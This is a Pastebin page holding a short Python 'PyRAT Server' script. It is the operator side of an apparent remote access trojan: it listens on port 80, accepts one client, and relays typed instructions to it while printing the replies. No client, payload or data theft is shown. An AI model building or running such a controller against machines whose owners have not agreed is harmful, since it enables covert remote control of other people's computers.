SHARE
TWEET

PyRAT Server

a guest Jan 3rd, 2016 13,943 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #imports
  2. import socket
  3. import os
  4.  
  5. #Variables
  6. port = 80
  7.  
  8. #Functions
  9.  
  10. def clear():
  11.     os.system('cls' if os.name=='nt' else 'clear')
  12.  
  13. #Starting Server
  14. serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  15. host = socket.gethostname()
  16. serversocket.bind((host, port))
  17. serversocket.listen(1)
  18.  
  19. clear()
  20. print("-:-:-:-:-:PyRat Server:-:-:-:-:-")
  21. clientsocket, addr = serversocket.accept()
  22. print("Connection from: " + str(addr))
  23. while True:
  24.     msg = input("Your Instruction: ")
  25.  
  26.     if msg == "help":
  27.         clear()
  28.         print("-+-+-+-+-+HELP+-+-+-+-+-")
  29.         print("Test Connection: 'test'")
  30.        
  31.         input("\nPress ENTER to continue")
  32.         clear()
  33.         print("-:-:-:-:-:PyRat Server:-:-:-:-:-")
  34.    
  35.     else:
  36.         msg = msg.encode("UTF-8")
  37.         clientsocket.send(msg)
  38.         msg = clientsocket.recv(4096)
  39.         print(msg.decode("UTF-8"))
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top